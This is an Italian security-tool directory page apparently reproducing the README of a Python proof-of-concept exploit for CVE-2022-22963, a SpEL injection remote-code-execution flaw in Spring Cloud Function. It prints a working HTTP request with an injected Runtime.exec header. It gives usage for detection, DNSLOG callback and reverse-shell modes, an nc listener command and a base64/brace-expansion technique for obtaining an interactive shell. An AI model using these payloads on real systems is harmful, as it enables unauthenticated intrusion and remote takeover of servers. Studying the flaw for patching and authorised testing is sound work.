Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2022-22963 — CVE-2022-22963-poc | Kitploit
Strumenti/GitHubGitHub/xmqaq/cve-2022-22963
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingRed Teaming
GitHubxmqaq/cve-2022-22963

CVE-2022-22963

CVE-2022-22963-poc

Vedi Repository
112 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2022-22963

Python License

Strumento di rilevamento e sfruttamento della vulnerabilità di iniezione di espressioni SpEL di Spring Cloud Function per esecuzione remota di codice.

Panoramica della vulnerabilità

CVE-2022-22963 è una vulnerabilità RCE critica (CVSS 9.8) nella funzione di routing di Spring Cloud Function. Quando l'applicazione abilita l'endpoint /functionRouter, il valore dell'intestazione della richiesta spring.cloud.function.routing-expression viene eseguito direttamente come espressione SpEL (Spring Expression Language), consentendo a un utente malintenzionato di eseguire comandi arbitrari sul server di destinazione senza autenticazione.

Versioni interessate:

Scarica lo strumento
BranchVersione interessataVersione corretta
3.1.x< 3.1.73.1.7
3.2.x< 3.2.33.2.3

Principio della vulnerabilità:

root@kitploit:~
POST /functionRouter HTTP/1.1
Host: target.example.com
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("id")
Content-Type: application/x-www-form-urlencoded

test

Dopo che il server esegue SpEL, exec() restituisce un oggetto Process, Spring lancia un'eccezione quando tenta di serializzarlo, rispondendo con HTTP 500. Il comando viene eseguito in modo asincrono in background, il risultato non viene restituito nella risposta HTTP e deve essere confermato tramite canali laterali come DNSLOG o reverse shell.

Funzionalità

  • Rilevamento vulnerabilità: attiva una risposta caratteristica tramite SpEL per determinare se il target è vulnerabile
  • Verifica DNSLOG: invia una richiesta ping a un dominio DNSLOG per confermare l'esecuzione del comando tramite record DNS
  • Reverse shell: utilizza la codifica base64 per bypassare le restrizioni sugli spazi e ottenere una shell interattiva verso un indirizzo specificato

Installazione

root@kitploit:~
pip install requests

Python 3.6+, nessun'altra dipendenza.

Utilizzo

root@kitploit:~
python3 CVE-2022-22963.py -u <目标URL> [选项]

Descrizione parametri

ParametroDescrizioneValore predefinito
-u, --urlURL di destinazione (obbligatorio)—
-c, --checkVerifica se la vulnerabilità esiste—
-m, --modeModalità di sfruttamento: dnslog o shell—
-d, --dnsDominio DNSLOG (usato con -m dnslog)—
-i, --ipIndirizzo IP per ricevere la reverse shell (usato con -m shell)—
-p, --portPorta per ricevere la reverse shell9999
-t, --timeoutTimeout della richiesta (secondi)5

Rilevamento vulnerabilità

root@kitploit:~
python3 CVE-2022-22963.py -u http://target.example.com -c
root@kitploit:~
2024-01-01 12:00:00 - INFO - [+] http://target.example.com 存在漏洞!

Verifica DNSLOG

Utilizzato per confermare l'effettiva esecuzione del comando in assenza di risposta visibile:

root@kitploit:~
python3 CVE-2022-22963.py -u http://target.example.com -m dnslog -d abc123.dnslog.cn
root@kitploit:~
2024-01-01 12:00:01 - INFO - [+] payload 已发送,请检查 abc123.dnslog.cn 是否收到 DNS 请求(确认实际执行)

Quindi verificare sulla piattaforma DNSLOG se è stata ricevuta una query DNS dall'IP di destinazione.

Reverse shell

Avviare l'ascolto sulla macchina attaccante:

root@kitploit:~
nc -lvnp 9999

Inviare il payload:

root@kitploit:~
python3 CVE-2022-22963.py -u http://target.example.com -m shell -i 192.168.1.100 -p 9999
root@kitploit:~
2024-01-01 12:00:02 - INFO - [+] payload 已发送,请在 192.168.1.100:9999 等待连接(仅支持 Linux/bash 目标)

Nota: La reverse shell dipende dal supporto /dev/tcp del sistema target, è adatta solo per ambienti Linux + bash e non supporta target Windows o shell come sh/ash/dash.

Dettagli tecnici

Principio di rilevamento

La richiesta di rilevamento invia un'espressione SpEL reale a /functionRouter:

root@kitploit:~
T(java.lang.Runtime).getRuntime().exec('id')
  • Vulnerabile: SpEL viene eseguito, l'oggetto Process non può essere serializzato → HTTP 500 + "path":"/functionRouter"
  • Non vulnerabile: l'intestazione viene ignorata, il routing della funzione fallisce → il codice di risposta o il body non corrispondono alle caratteristiche sopra

Procedura di codifica della reverse shell

Runtime.exec(String) non passa attraverso l'interpretazione della shell, tokenizza la stringa del comando direttamente sugli spazi, e non può gestire pipe e reindirizzamenti. Lo strumento aggira il problema nei seguenti modi:

  1. Codifica in base64 il comando della reverse shell per eliminare caratteri speciali
  2. Usa l'espansione brace di bash {cmd,arg} al posto degli spazi
  3. Alla fine, il parametro -c di bash sul target gestisce pipe e reindirizzamenti
root@kitploit:~
bash -c {echo,BASE64}|{base64,-d}|{bash,-i}
          ↕ Java exec 按空格 tokenize
["bash", "-c", "{echo,BASE64}|{base64,-d}|{bash,-i}"]
          ↕ bash -c 对参数做 brace expansion
echo BASE64 | base64 -d | bash -i

Registro delle modifiche

DataVersioneDescrizione
2023-12-28v1.0Rilascio versione iniziale
2025-10-09v1.1Refactoring del codice, ottimizzazione della gestione dei parametri e della gestione degli errori
2026-06-29v1.2Corretti falsi positivi nel rilevamento, concatenazione del context path e problemi semantici nei valori di ritorno dell'exploit

Dichiarazione di non responsabilità

Questo strumento è destinato esclusivamente a scopi di ricerca sulla sicurezza, test di penetrazione autorizzati e formazione.

Utilizzando questo strumento si accetta di:

  1. Utilizzarlo solo su sistemi target con autorizzazione scritta esplicita
  2. Rispettare tutte le leggi e i regolamenti applicabili nella propria giurisdizione
  3. Assumersi la piena responsabilità per tutte le conseguenze derivanti dall'uso dello strumento

L'autore non si assume alcuna responsabilità per qualsiasi uso non autorizzato o per le sue conseguenze.